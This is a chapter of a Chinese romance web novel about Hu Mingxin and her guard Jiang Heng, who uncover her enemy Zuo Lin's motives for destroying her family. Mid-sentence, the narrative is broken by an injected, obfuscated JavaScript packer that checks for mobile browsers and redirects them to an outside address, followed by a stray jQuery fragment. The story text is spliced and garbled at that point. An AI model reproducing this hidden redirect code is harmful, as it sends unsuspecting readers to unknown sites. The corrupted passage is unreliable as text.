两人之前因为取消婚约基本上算是撕破脸了,而且蒋珩就在附近所以胡明心根本不怕。
“我倒不知,表哥怎么突然有兴致来了天香楼?”
卫蓟挑了挑眉。“自然是钟情你的尹大公子怕约你出门累你清誉,才把我这个非亲非故的表哥给带上啊!”
“是吗?那真是难为表哥了。”胡明心暗道吃饭也吃不好,连找人都能找个不顺眼的来。便是这般钟情她的?!
出口之言不中听,卫蓟皮笑肉不笑,探出身子道:“尹大公子门庭高贵,洁身自好,算得上整个汴京城贵女的理想归宿,怎么?表妹你不会没看上吧?你身后有别人?”
两人的距离逐渐拉近,压迫感一点一点袭上身体,胡明心赶紧起身躲到冬藏身后。
冬藏肃目站在胡明心身前。“世子请自重。”
练武之人,气质外放时是不一样的,卫蓟早就知道胡明心这丫鬟会武功,但他也早有心思试探一番。
今天他带来的长随此时才抬起头露面,来人并不是一直跟着他的那个,而是完全陌生的面孔。只见那人拔剑而起,直奔冬藏而来。
胡明心用手捂住嘴,心一下提到了嗓子眼。往后趔趄了两步,扶着屏风才没摔倒。
眼见着冬藏似是不敌,卫蓟冷笑一声,朝她走近。
“卫蓟!你敢!”
“我有什么不敢!”
“啊!”胡明心这一声像是要给自己助威一样,用尽全身的力气,把着花鸟屏风的边框狠狠朝卫蓟的方向推过去,“轰”的一声,屏风碎裂在地,短暂阻拦了卫蓟的脚步,同时惊动天香楼的人,楼梯处依稀有脚步声在往上走。
但在那些人到此之前,卫蓟伸出的手,被蒋珩一把抓住。
卫蓟看到蒋珩面色一变。“是你!”
蒋珩一剑就劈了卫蓟找来的帮手,伸手挡开卫蓟后,抱起胡明心消失在屋内,将所有烂摊子丢给冬藏和卫蓟解决。
树叶在微风中飒飒作响,蔓出的枝芽伸展出围墙,胡明心被带到一个远离汴京中心的居住之地,这里一般由进京赶考的学子或在汴京干活行商之人租住。
正午时分,大家都在家中,无往来走动,人迹罕至。
胡明心落地后脚步有些迟疑,就在刚刚,她听到了卫蓟那声。“是你?”
蒋珩和卫蓟竟然认识!
这个事实带来的冲击足够让她愤怒!
卫蓟算是永宁侯府唯一一个,对她展露出恶意的人,而蒋珩是从姑苏护送她到汴京,一直保护她的人。这两个人怎么会交集到一起?明明之前蒋珩对卫蓟好似不太喜欢的样子。
不知道人是不是都有这种情绪,当跟你关系很好的人与你讨厌的人一起玩。你会情不自禁产生厌烦、恶心,憎恨等等一系列复杂的情绪。在小的时候甚至还会逼着人做选择,如果跟你玩便不可以选择那个讨厌的人。
只是长大后,知道自己不能任性,所以表面故作大方尊重别人的交友。
可胡明心不想这样,如果是别人也就算了,但蒋珩…只有蒋珩她绝对不想让给别人!
即使她还需要蒋珩帮她做事,即使她知道装作不知道才是最优解。她还是要说!
“蒋珩,你跟卫蓟是什么关系?”
蒋珩闻言,动作微微一滞,张了张嘴不知从何处开始说起。
任谁都没料到,卫蓟竟然疯成那样,天香楼内就敢大打出手。不小心露了身份破绽的人这会儿只能转移话题找补。“姑娘,属下觉得,卫蓟此人,留不得。”
野心太重,性情太狠辣。这是胡明心&蒋珩两人经过今天之事一致给卫蓟的评判。
......
还被压在天香楼赔钱的卫蓟,没由来的感到一阵恶寒。
他攥紧手中的账单,某种微妙的预感涌上心头。
一定是蒋珩!回来抢他世子之位的人!
......
胡明心眼底跃动着碎光,嘴角轻轻翘起露出两个梨涡。“我也觉得!”
原来蒋珩跟卫蓟不是一伙儿的,刚才烦闷的情绪顿时一扫而空,语气轻快。“那个卫蓟,我们两厢安好也没什么!他偏偏对本姑娘动手!你说我们要怎么报复回去才好?”
“姑娘还记得上次宴席听得墙角吗?”蒋珩抱剑提醒,似是对收拾卫蓟这件事胸有成竹。
胡明心跟着思路回想了一下,递出的玉肌膏,假山下衣摆相贴,听墙角。啊啊啊!这些都不是重点,那个徐姨娘和卫蓟偷情才是重点。
卫蓟胆大包天,自己留下这么大把柄。可就别怪她了!
“我们怎么做?闹大了直接让侯爷去抓现行?”她眼中迸发出激动的光彩,兴奋得像是自己占了什么大便宜一样。
蒋珩看着有些好笑,但他很喜欢现在鲜活的小姑娘,也不反驳,慢慢引导。“不错,简单粗暴,确实好用。只是不太雅,还有个别的办法。”
“什么办法?”
说起这个办法,便涉及到永宁侯的隐私,他不好直说,咳了两声红着脸道:“姑娘让冬藏去帮你弄假孕药给徐姨娘服下就可以了。”
胡明心摇摇头。“那不就正帮了他们?上次那个卫蓟还说...”
这话好像暴露了某人虽然被捂着耳朵,但听了个全的墙角。一想起那天卫蓟说的话,小姑娘耳根微微泛红,结结巴巴说不出下面的话。
蒋珩脸色有些黑,他伸手一把捂住胡明心的嘴。手掌和柔嫩的肌肤相贴,体温升高,鼻尖隐隐嗅到小姑娘身上花果混合的那种香气。浓密如扇的羽睫渐渐垂下,眸色深幽。
“我知道姑娘你要说的意思了,但永宁侯不会有孩子。”
察觉到小姑娘挣扎的力道,他僵硬的身子缓缓放松,大手从那张白嫩的脸蛋上撤下,因为一开始没控制好力道,小姑娘面上还残留了几道红红的指印,让人不敢细看。
胡明心可不知道蒋珩的心理反应,她瞪圆了眼睛不可思议道:“你是说...你是说永宁侯...他...他不行?”
蒋珩真想再把这张嘴捂上,但他忍住了。
“姑娘按照属下说的做就行。”然后他不想再解释别的,拉着人往坊市内走。
越往里走,巷口越窄,已经很难容得下两人并排。
即便如此,小姑娘充分发挥了她锲而不舍的精神,挤不到前面就从身后探出头问,被人拽着袖子走得飞快也能抽空问出口。
“你怎么知道这件事的?”
“从哪得来的这个消息?”
“那个...是一开始就不行吗?那卫蓟是亲生的吗?”
蒋珩猛地停住脚步,回过头无奈地看着人。
小姑娘面上的红印还没消,粉嫩嫩的唇似甜香软糯的糕点,诱人品尝,想亲口试试是否如看上去那般绵软。
但,这张嘴开口闭口都是让人尴尬至极的话。
他无奈地扶额,不知道该怎么解释。关于这件事,是找回家时他娘告诉她的。
七星楼的十三年,他满身都是自己和同伴的鲜血。抬手头颅落,闭手开棺椁。杀手堆里爬起来的杀手,才称得上落红。
那段时间支撑他活下去的动力,便是回家。他要争第一,争到七星楼留不下他,放他回家。
可他万万没想到,回家之后,他爹拒绝恢复他的身份,说收养他做干儿子。
原来当年他失踪没多久,永宁侯便在一次与好友围猎中受了伤,大夫诊断此生都不会再有孩子。所以他们仅找了一年,便放弃寻他,收养了一个孩子,顶替他的身份,为其请封世子位。
为的是保住永宁侯的爵位。
将他的名字,他的身份,全给了另外一个人。
父母不认,亲友不识。
倚梅苑外,雪地上,小姑娘说他像小猴子时,他才重新感受到心脏在跳动。
是的,幼时,小姑娘是小胖妞,他瘦得像猴子。
如今,小姑娘亭亭玉立,而他是只属于小姑娘的蒋珩。
“姑娘,这件事,以后再告诉你好吗?”
“好。”
听出蒋珩声音的疲累,胡明心乖乖地闭嘴。
一路走到巷口最深处,有一处矮小的房屋,看起来比其他房子破旧很多,蒋珩指着那,神色沉静。“调查左临的答案,就在这里。”
胡明心神情一怔,目光落在那扇木质门上。左临可是皇帝宠臣,怎么可能跟这间小巷子里的人有关?莫非?这房子里藏着一屋子金子?蒋珩找到了赃款?!
正想着,蒋珩上前敲门,一个穿着朴素还打着补丁的妇女开了房门。
这里有人住?事情和想的有所不同,胡明心犹豫了几息,站到蒋珩身侧。
此时,门已经完全打开,内里非但没有满屋金子,还住着一个看起来眼睛不好使的老妪,和一个看起来七八岁的孩子。
说老妪眼睛不好使是因为她起身想要去帮那七八岁的小孩拿井水,结果手直接错开把手,险些栽倒在地。
这样一户人家,怎么会跟左临有联系呢?
事有蹊跷,胡明心眼皮子跳了跳,听见蒋珩跟盘着头发的妇女简单打招呼。
“是左指挥使派我们来慰问,周夫人不必拘束。”
“原来如此,你们快坐,家里没什么好茶招待,我去给两位冲碗凉叶水。”
凉叶水?那是什么东西?左指挥使派来慰问?蒋珩在说什么啊?胡明心表面故作沉稳,心里慌极了,勾着小手指去拉蒋珩的衣袖。小声问询。“这里到底是什么地方啊?你说的话是什么意思?”
没等蒋珩回答,周夫人用缺了口的木碗端着两碗水走过来,水中泡着不知名的叶子。通体翠绿,似唇形,长着细小的绒毛,看起来完全不像好喝的样子!
胡明心蹙着眉,看蒋珩毫不犹豫喝了一大口,也忍着不适避开豁口抿了一小口。她相信蒋珩总不会害她的!
入口微凉,很适合夏天喝。还有一点香片中的味道。
放下碗后,蒋珩顺手接过她手中的水放下,周夫人瞧着目露怀念。“想来大人也是左指挥使麾下的侍卫,可要好好保重身体,家中娘子如此娇美,别叫她伤心。”
胡明心注意到,说起这个话题,在一旁的老妪和那个小男孩神色都有些低落。
这家的情形她从未见过,跟左临亦是找不到任何关联点。就像华容道的滑块毫无规律摆在眼前,无论怎么移动都仿若死局。
她只能拽紧蒋珩的衣袖,拽得藏青色的布料硬生生出了褶皱。蒋珩顺着话回答。“自是会的,今次带内人来还有个不情之请。她不太了解左指挥使,我又实在嘴笨。可否劳烦夫人说一些?”
言下之意周夫人听得明白,胡明心也听得明白。蒋珩竟然跟她装作夫妻!
他可真敢想!
此刻周夫人她们还在,她不明情况不好反驳,无法生气。
算了,假装一下也没什么,只要能查清左临,为父母报仇,这点牺牲她可以接受。
不过周夫人第一句话,她就不是很爱听了。
“左大人啊,是我见过最好的官了。”
左临那厮背后捅刀子,灭胡家满门,好个屁!她险些拍桌而起,被蒋珩预判到,将手一把拽回去拦住。
侍卫嗓音低沉,带着轻哄的语气。“你再听一下。”
周夫人没发现两人之间的小官司,继续道:“我夫君于去年衡州水灾保护钦差时去世。因为直接落入洪水,连遗物都没有。夫人你也看到了。家中老得老,小得小。夫君是唯一劳动力,也是唯一金钱来源。”
“他没了,我们这个家,天都塌了。”
周夫人眼含热泪,语气中的悲伤怎么也不能忽视。胡明心摁下心中的烦闷,继续静静听。
“后来我们去领抚恤金,六两银子。”
“咳咳···”胡明心剧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897362|135924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烈的咳嗽声打断了周夫人的话。实在是被这个数目惊到了。六两银子?大概只能买她簪子上的一米珠花。能买一条命?
荒唐!简直太荒唐了!
“周夫人,抚恤金会不会是被别人贪了?”比如左临!
蒋珩默默收回帮她顺气的手,快周夫人一步解释。“律法规定如此,以周大哥的品级是六两银子。”
六两银子对于胡明心来说,属实不算多。但正常情况下,五两银子就够一家人在汴京一年的开销。
周家比较难的是,家中男丁未长成,只剩寡母和娇媳。
蒋珩一开始看调查结果时也很不相信这个事实,左临从胡家淘来的钱,自己竟然一分没用,甚至他还倒贴许多,给手下人又备了一份抚恤金。
本来呢,胡家是姑苏首富,钱足够他发的,但为了不被查,走了皇帝私库一趟,所以他自己又贴补出去不少。
周家第二次分到了三十六两。
胡明心听完浑身僵硬,犹如石化了一般。炮仗炸在她脑海中,“轰”地一声,爆得她完全无法思考。
左临,拿来做好事了?
她承认,得知真相后对左临的评价确实会改变。
但他手下人的抚恤金少,关她姑苏胡家什么事?凭什么杀胡家上下一百三十四口人的性命成全他自己的善心?自己不想办法改革律法,不挣钱。靠打劫别人弄来的钱就能被称赞了?
胡家可以自己捐,可以安排周夫人去做工!就是不能被杀鸡取卵,回头还得称赞一声仇人!
周夫人还在继续描述左临对她们的照顾,胡明心却是一点也听不进去了。她起身猛地掀翻桌子,双目赤红,粗喘着气。
“杀人全家的疯子,背信弃义,背后捅刀,也配称善?滑天下之大稽!”
简直荒缪!
胡明心在脑子还没完全反应过来时,脚先动了,起身走至门口,看见那破败的木门时才意识到她干了什么。
正好蒋珩追了过来,她拔下头顶的两根金钗仰头指向周夫人方向。“赔她桌子。”
这两根金钗,够买几十张那种桌子。小姑娘气得面色发青,眼尾湿红一片,却没责怪这些受益者。
蒋珩醇厚的嗓音不自觉柔了两分。“好,姑娘等我,去去就来。”
转过身刹那,蒋珩注意到小姑娘想哭又强忍着没哭,单薄的肩膀微微耸动。
他顿时情绪波澜起伏,一股说不出来的心疼在心底翻滚,汹涌的冲到他喉咙处,堵着他的嗓子发不出声音。
靠狠狠攥紧了拳才没立即回头将小姑娘搂进怀中。
左临!简直不可饶恕!
出了周家,蒋珩摸出怀中刀,目光狠厉,像是一匹饿了一整个冬季的狼,能随时向人发起冲击。杀意惊起大树上所有鸟雀。他身着藏青色长袍,腰带扎得极紧,衬得身段修长挺拔,只左边袖口的褶皱破坏了整体气氛。
胡明心转过头,神色淡然地将那块抚平。“蒋珩,她说得都是真的吗?”
“对。还有几家,情况一致,姑娘可还要去看看。”
“不去了。”
“那姑娘,可需要属下杀了左临?”
蒋珩毕竟做了多年杀手,那种嗜血的杀气早已深入骨髓,一旦漏出一点,足以让人汗毛战栗。
“不需要。”
就像左临不该为了自己的善心迫害胡家,蒋珩也不该因她而送命。
抬起头,目光相撞,胡明心强忍着泪意道:“其实,早在得知真相时我便想过,我想要的是什么。”
她恨左临,恨得想杀了他全家,可比那更深的念头是,她想要她爹娘回来。她接受不了的从来都是--爹娘的骤然离开。
她替爹爹付出真心交友感到不值,不理解两人明明预感到危险来临为什么只送走她,自己不走。
“我只想要我爹娘活着。我不明白,她们为什么选择剩下我一个人。”
“从那个雨夜,你告诉我杀害爹娘的人必定在汴京有权有势,我就在想,我要如何,才能报仇。”
“我是不是需要攀附一个更有权势的人或自己像爹爹一样白手起家,做一个能用自己力量杀掉左临的人。”
说到此处,她眼眶再也兜不住热泪,白嫩的脸上滑过一道又一道水痕。哭腔爆出,羞愧使她脸上发烫。她明明想坚强一点,再坚强一点,不想哭的。可她真的忍不住。
“你知道吗蒋珩,我想象不出,我构建出的选项。我从心底里觉得我的能力没法做到那个未来。我以前总觉得这世界上没什么是得不到的,后来我才知道,我有多天真。我只能跟着你,一步一步走,一步一步好似很努力,其实心里从来都觉得走到最后结局不过是我死。”
“我很没用,我做不到。我想让你去杀了左临,证明我可以报仇,却没办法心安理得让一个无亲无故的你搭上下辈子去做这件事。既要又要,摇摆不定,我好讨厌现在的自己。”到最后胡明心几乎是失神在说话。
她信念崩塌,浑身抖得厉害,用手遮挡泪水,脆弱得像是风中飘散的落叶。
“胡明心原来是这样一个胆小鬼,一个废人。”
蒋珩下意识抬手想安抚胡明心,却在手掌触及到衣料时,硬生生停下。那些泪水落在他左胸膛的心口上,看着小姑娘这样,他的心就像是被针扎一样,疼得他喘不过气。
他强硬地把着小姑娘肩头,目光疼惜。“姑娘,听我说,你已经做得很好了。”
这世间有太多人碌碌无为,给自己找各式各样的借口,责怪他人以减轻自己的无能。小姑娘却从来没有,她在最后一刻选择了善待周家的人。
他叹了口气,不曾想下一刻,柔软的身躯直接贴上来。
软玉温香抱了个满怀,蒋珩身体微僵,呼吸轻了两拍。感受到胸膛的湿意,抬手将小姑娘的脸压进怀中。
刚柔并济,高大的身影将少女完全笼罩其中。